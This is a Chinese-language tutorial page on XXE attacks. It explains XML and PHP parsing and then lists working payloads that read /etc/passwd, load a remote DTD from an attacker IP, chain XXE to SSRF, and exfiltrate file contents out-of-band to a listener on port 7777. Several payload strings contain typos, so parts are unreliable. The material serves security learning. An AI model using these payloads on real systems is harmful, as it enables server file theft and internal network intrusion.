当前位置: 首页 > news >正文

XXE讲解

XML语言基础

XML的标签对大小写敏感。

XML必须正确的嵌套。

<root>
    <hero>
        <name>妲己</name>第0个节点
        <jineng>爱心</jineng>
    </hero>
    <hero>
        <name>亚瑟</name>第二个节点
        <jineng>旋转</jineng>
    </hero>
</root>

在文件中用到大于号和小于号,使用CDATA[]包裹起来即可,包裹之中的大于号和小于号就不会被当作功能性符号执行。

使用PHP执行XML文件

<root>
    <man>
        <name>程咬金</name>
        <age>2000</age>
    </man>
    <man>
        <name>赵云</name>
        <age>1700</age>
    </man>
</root>

simplexml_load_file()函数

<?php
$xml = simplexml_load_file('3.xml');
echo $xml->man[0]->name;
?>

domdocument()函数

<?php
$xml = new domdocument();//实例化
$xml->load('3.xml');//加载文件
print_r($xml->saveXML());
?>
<?php
$xml = new domdocument();//实例化
$xml->load('3.xml');//加载文件
$age = $xml->getElementsByTagName('age')->item(1)->nodeValue;//读取对应的内容
$name = $xml->getElementsByTagName('name')->item(0)->nodeValue;
echo $age;
echo $name;
?>

混合使用

<?php
$xmlfile = file_get_contents('3.xml');
$xmlDoc = new DOMDocument();
$xmlDoc ->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($xmlDoc);
$name = $creds->man[1]->name;
print $name;
?>

内部的DOCTYPE声明

使用DOCTYPE标签,对xml文件起约束作用。

内部声明:

<!DOCTYPE root[
    <!ELEMENT root (man)>//root中只能是man
    <!ELEMENT man (name,age)>//man中只能有name和age
    <!ELEMENT name (#PCDATA)>
    <!ELEMENT age (#PCDATA)>
    ]>

外部声明:

在之后构造payload时不要有回车,不要换行。
<!DOCTYPE [
    //外部声明
    <!ENTITY ben SYSTEM "file:///etc/passwd">
]

实体

普通实体

<!DOCTYPE root[
    <!ENTITY ben "dazhuang">
    <!ENTITY lao6 SYSTEM "http://www.baidu.com/robots.txt">
    ]>
<root>
    <man>
        <name>wo shi &ben;</name>
    </man>
</root>
调用的时候使用&+ben+;

参数实体

参数实体使用%,而不是&。
<!DOCTYPE root[
    <!ENTITY % ben "dazhuang">
    <!ENTITY % lao6 SYSTEM "http://192.168.1.151/1.dtd">//1.dtd里面参数san
    %lao6//调用参数实体
    ]>
<root>
    <man>
        <name>wo shi &san;</name>
    </man>
</root>

XXE常见利用手法

file被过滤

有回显

使用参数,去别的文件获取到恶意代码。

不同的方法:

1、利用参数实体检索文件

2、利用XXE命名实体及外部实体读取文件

1.dtd文件
<!ENTITY ben SYSTEM "file:///etc/passwd">
传参
<!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://192.168.1.151/1.dtd"> %xxe;]>

这样就可以获取到网站的一些文件。

3、利用XXE进行SSRF漏洞利用

<!doctype root [<!ENTITY xxe SYSTEM "http://192.168.1.6:18091/?cmd=cat /etc/passwd"]>

4、使用XXE利用php伪协议读取文件

<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/read=convet.base64-encode/nesource=/etc/passwd">]>

5、php伪协议配合SSRF

<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/read=convet.base64-encode/nesource=http://192.168.1.6:18091/?cmd=cat index.php">]>

无回显

1、a,参数实体,读取/etc/passwd

2、b,普通实体,http://kali_ip/%a;

<!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://filter/read=convert.base64-encode/resource=/etc/passwd"><!ENTITY req SYSTEM "http://192.168.1.151/%xxe;">]>
因为普通实体里面不能调用参数实体,所以需要构造。
1.dtd文件
<!ENTITY % file SYSTEM "php://filter/read=convert.base-encode/resource=file:///etc/passwd"><!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.1.151:7777?p=%file;'>">
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://192.168.1.151/1.dtd">%remote;%int;%send;]>
参数实体会触发调用1.dtd的内容。
&#x37;就是指%

打开http公网的服务,监听7777端口,再进行访问,即可查看内容。

相关文章:

  • 【Redis】Redis C++使用
  • 高可用集群-keepalived
  • 学习笔记八——内存管理相关
  • 丝杆升降机各部件材质深度剖析:解锁高效稳定运行的技术密码
  • Spring Security 中 PasswordEncoder(密码编码器) 及其实现类对比与示例
  • 【深度学习】【目标检测】【Ultralytics-YOLO系列】YOLOV3工程整体结构解析
  • 自动化运行后BeautifulReport内容为空
  • 【第三十一周】ViT 论文阅读笔记
  • 【Redis】redis事物与管道
  • (四)深入理解AVFoundation-播放:高度自定义视频播放器 UI
  • react从零开始的基础课1
  • LeetCode:链表
  • 如何使用DeepSeek制作数学动态可视化课件?
  • MyBatis 中 Mapper 传递参数的多种方法
  • STM32自学进阶指南:从入门到精通的成长路径 | 零基础入门STM32第九十九步
  • 2. Scala 高阶语法之集合与元组
  • 【HarmonyOS 5】鸿蒙实现手写板
  • Linux找不到virtualenvwrapper.sh(已解决)
  • 提示词工程学习笔记
  • FreertosHAL库笔记
  • 视频丨英伟达总裁黄仁勋:美勿幻想AI领域速胜中国
  • 女冰队长于柏巍,拒绝被年龄定义
  • 深交所修订创业板指数编制方案,引入ESG负面剔除机制
  • 上海国际咖啡文化节开幕,北外滩集结了超350个展位
  • A股三大股指小幅低收:电力股大幅调整,两市成交10221亿元
  • 发布亮眼一季度报后,东阿阿胶股价跌停:现金流隐忧引发争议